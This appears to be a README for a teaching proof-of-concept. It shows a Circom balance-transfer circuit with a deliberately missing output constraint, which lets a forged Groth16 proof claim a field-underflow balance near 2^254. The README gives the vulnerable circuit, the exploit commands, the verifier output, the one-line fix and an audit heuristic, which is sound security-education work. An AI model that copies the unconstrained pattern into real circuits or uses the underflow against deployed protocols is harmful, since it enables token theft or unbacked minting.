A reproducible proof-of-concept demonstrating how a missing constraint in
a Circom circuit allows a malicious prover to generate a Groth16 proof that
"transfers" more tokens than they own, producing a balance close to 2^254
via finite-field underflow. The malicious proof is accepted by both the
JavaScript verifier and the on-chain Solidity verifier emitted by snarkjs.
TL;DR: One missing line (
check.out === 1;) lets the prover mint approximately 1.7 × 10⁷⁶ tokens from an account holding 100.
template BalanceTransfer() {
signal input oldBalance;
signal input amount;
signal output newBalance;
component check = GreaterEqThan(64);
check.in[0] <== oldBalance;
check.in[1] <== amount;
// BUG: missing `check.out === 1;`
newBalance <== oldBalance - amount;
}The GreaterEqThan template computes whether oldBalance >= amount,
but the result is never constrained. The circuit treats it as a dead
wire. Combined with the second issue — that subtraction in F_p produces
p - k instead of failing — the prover can submit oldBalance=100, amount=200 and obtain newBalance = p - 100, which the verifier accepts
as cryptographically valid.
- Underconstrained component:
check.outis computed but never asserted. This is the most common Circom bug class in the wild. - Field underflow: In BN254's scalar field, there are no negative
numbers.
100 - 200evaluates to21888242871839275222246405745257275088548364400416034343698204186575808495517, which isp - 100.
A correct circuit must use a range check whose output is constrained.
check.out === 1; // <-- the line that turns it into a real constraintOne line. The same number of non-linear constraints after compiler
optimisation (the compiler had already allocated wires; the fix repurposes
the existing check.out signal as a real constraint instead of dead
computation).
- Node 20+, npm
- Foundry (
forge) - Rust + Cargo
- Circom 2.x compiled from source
- snarkjs (
npm install -g snarkjs)
# 1. Install dependencies
npm install
# 2. Compile circuits
cd circuits/vulnerable && circom BalanceTransfer.circom --r1cs --wasm --sym -o . && cd ../..
cd circuits/fixed && circom BalanceTransfer.circom --r1cs --wasm --sym -o . && cd ../..
# 3. Powers of Tau (one-time, for both circuits)
cd ptau
snarkjs powersoftau new bn128 12 pot12_0000.ptau -v
snarkjs powersoftau contribute pot12_0000.ptau pot12_0001.ptau --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs powersoftau beacon pot12_0001.ptau pot12_beacon.ptau 0102030405060708090a0b0c0d0e0f101112131415161718191a1b1c1d1e1f20 10 -n="Final Beacon"
snarkjs powersoftau prepare phase2 pot12_beacon.ptau pot12_final.ptau -v
cd ..
# 4. Per-circuit setup (vulnerable)
snarkjs groth16 setup circuits/vulnerable/BalanceTransfer.r1cs ptau/pot12_final.ptau circuits/vulnerable/BalanceTransfer_0000.zkey
snarkjs zkey contribute circuits/vulnerable/BalanceTransfer_0000.zkey circuits/vulnerable/BalanceTransfer_final.zkey --name="c1" -e="$(head -c 32 /dev/urandom | base64)"
snarkjs zkey export verificationkey circuits/vulnerable/BalanceTransfer_final.zkey circuits/vulnerable/verification_key.json
snarkjs zkey export solidityverifier circuits/vulnerable/BalanceTransfer_final.zkey src/Verifier.sol# Honest case (sanity)
node circuits/vulnerable/BalanceTransfer_js/generate_witness.js \
circuits/vulnerable/BalanceTransfer_js/BalanceTransfer.wasm \
inputs/honest.json proofs/honest_witness.wtns
snarkjs groth16 prove circuits/vulnerable/BalanceTransfer_final.zkey proofs/honest_witness.wtns proofs/honest_proof.json proofs/honest_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/honest_public.json proofs/honest_proof.json
# → OK, newBalance = 70
# Exploit
node circuits/vulnerable/BalanceTransfer_js/generate_witness.js \
circuits/vulnerable/BalanceTransfer_js/BalanceTransfer.wasm \
inputs/exploit.json proofs/exploit_witness.wtns
snarkjs groth16 prove circuits/vulnerable/BalanceTransfer_final.zkey proofs/exploit_witness.wtns proofs/exploit_proof.json proofs/exploit_public.json
snarkjs groth16 verify circuits/vulnerable/verification_key.json proofs/exploit_public.json proofs/exploit_proof.json
# → OK, newBalance = p - 100 (the exploit)The Solidity verifier emitted by snarkjs is the production-style on-chain verifier. The test feeds it the same malicious proof and demonstrates on-chain acceptance.
forge test -vvExpected output: [PASS] test_VulnerableVerifier_AcceptsUnderflowProof() (gas: 203783) Logs: Attacker claimed newBalance: 21888242871839275222246405745257275088548364400416034343698204186575808495517 This is p - 100, i.e. -100 mod p. Field underflow accepted as 'valid balance'.
# Witness generation now fails on malicious input
node circuits/fixed/BalanceTransfer_js/generate_witness.js \
circuits/fixed/BalanceTransfer_js/BalanceTransfer.wasm \
inputs/exploit.json proofs/fixed_exploit_witness.wtns
# → Error: Assert Failed (line 25: check.out === 1)When reading a Circom circuit:
For every
component X = SomeTemplate();, scan the next ~10 lines for a constraint involvingX.out. If none exists, this is a candidate bug.
This pattern alone catches a large fraction of real-world underconstrained
bugs. The same logic applies to IsZero, IsEqual, LessThan, Num2Bits,
and any sub-circuit whose output represents a verification result.
This is a minimal teaching PoC, not a production exploit on a deployed protocol. Real systems built on Circom (Tornado Cash, Semaphore, zkSync circuits) include additional checks (Merkle proofs, nullifiers, public input binding) that this circuit deliberately omits to keep the lesson focused.
- snarkjs
- Circom 2 documentation
- circomlib
- 0xPARC ZK bug tracker — collection of similar bugs in the wild
MIT